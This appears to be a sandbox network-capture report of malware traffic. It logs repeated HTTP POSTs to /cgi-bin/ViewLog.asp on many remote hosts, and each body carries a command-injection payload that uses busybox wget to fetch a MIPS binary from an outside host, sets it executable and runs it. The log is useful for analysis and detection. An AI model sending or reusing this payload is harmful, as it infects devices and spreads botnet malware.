                                                Nov 23, 2023 05:22:18.553354025 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:55.416220903 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                405192.168.2.154918294.122.193.938080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:41.005865097 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                406192.168.2.155345462.44.192.1618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:41.790494919 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.002465963 CET556INHTTP/1.1 400 Bad Request
                                                Content-Type: text/html; charset=us-ascii
                                                Server: Microsoft-HTTPAPI/2.0
                                                Date: Thu, 23 Nov 2023 04:21:36 GMT
                                                Connection: close
                                                Content-Length: 311
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                407192.168.2.154469485.187.218.328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:41.790569067 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.017612934 CET444INHTTP/1.1 401 Unauthorized
                                                Server: nginx/1.5.2
                                                Date: Thu, 23 Nov 2023 06:21:41 GMT
                                                Content-Type: text/html
                                                Content-Length: 194
                                                Connection: keep-alive
                                                WWW-Authenticate: Basic realm="WISPR"
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>401 Authorization Required</title></head><body bgcolor="white"><center><h1>401 Authorization Required</h1></center><hr><center>nginx/1.5.2</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                408192.168.2.153947094.122.5.2258080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:41.790631056 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                409192.168.2.154141295.86.126.2008080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:41.796304941 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                410192.168.2.154272895.179.224.878080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:42.167252064 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.336679935 CET212INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain
                                                Date: Thu, 23 Nov 2023 04:21:42 GMT
                                                Content-Length: 18
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                411192.168.2.154350262.28.29.1188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:42.191302061 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.385963917 CET544INHTTP/1.1 400 Bad Request
                                                Content-Type: text/html; charset=us-ascii
                                                Server: Microsoft-HTTPAPI/2.0
                                                Date: Thu, 23 Nov 2023 04:22:19 GMT
                                                Connection: close
                                                Content-Length: 311
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                412192.168.2.153420695.143.59.878080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:42.200040102 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.400420904 CET360INHTTP/1.1 404 Not Found
                                                Server: nginx
                                                Date: Thu, 23 Nov 2023 04:21:42 GMT
                                                Content-Type: text/html
                                                Content-Length: 146
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                413192.168.2.154710494.125.123.538080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:42.212666035 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:42.427706003 CET375INHTTP/1.1 404 Not Found
                                                Server: nginx
                                                Date: Thu, 23 Nov 2023 04:21:42 GMT
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 146
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                414192.168.2.153760285.95.45.228080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:43.623574018 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:43.807622910 CET261INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain; charset=utf-8
                                                X-Content-Type-Options: nosniff
                                                Date: Thu, 23 Nov 2023 04:21:43 GMT
                                                Content-Length: 19
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                415192.168.2.155746031.201.170.488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:43.642481089 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:43.842094898 CET481INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:21:43 GMT
                                                X-Frame-Options: SAMEORIGIN
                                                Vary: Accept-Encoding
                                                Content-Encoding: gzip
                                                Content-Length: 189
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 4e cb 0e 82 30 10 bc f3 15 2b 77 59 34 1e 9b 1e 78 18 49 50 89 c1 03 c7 62 9b 40 82 14 db ad c6 bf b7 c0 c9 cb 24 b3 33 3b 33 6c 93 5d d3 ba a9 72 38 d5 e7 12 aa 7b 52 16 29 84 5b c4 22 af 8f 88 59 9d ad ca 3e 8a 11 f3 4b c8 03 d6 d1 73 e0 ac 53 42 7a 42 3d 0d 8a 1f e2 18 12 21 e1 a6 5e 4e 59 62 b8 9e 03 86 8b 8d b5 5a 7e e7 cf 1d ff 73 79 1e b0 89 37 da 19 68 8d fe 58 65 c0 aa 91 40 80 59 93 80 3a 41 1e 7a eb 05 f3 f6 fa 43 bb 41 c2 a8 09 dc 28 95 b1 24 46 19 b1 d6 00 fa 2c 9c 66 58 da 7c f5 bc 33 f8 01 ce 5b 1b f3 e2 00 00 00
                                                Data Ascii: UN0+wY4xIPb@$3;3l]r8{R)["Y>KsSBzB=!^NYbZ~sy7hXe@Y:AzCA($F,fX|3[


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                416192.168.2.153912894.120.18.188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:43.668327093 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                417192.168.2.154917294.121.136.1138080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:43.669804096 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                418192.168.2.153413262.174.11.08080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:43.703788996 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:45.050276041 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
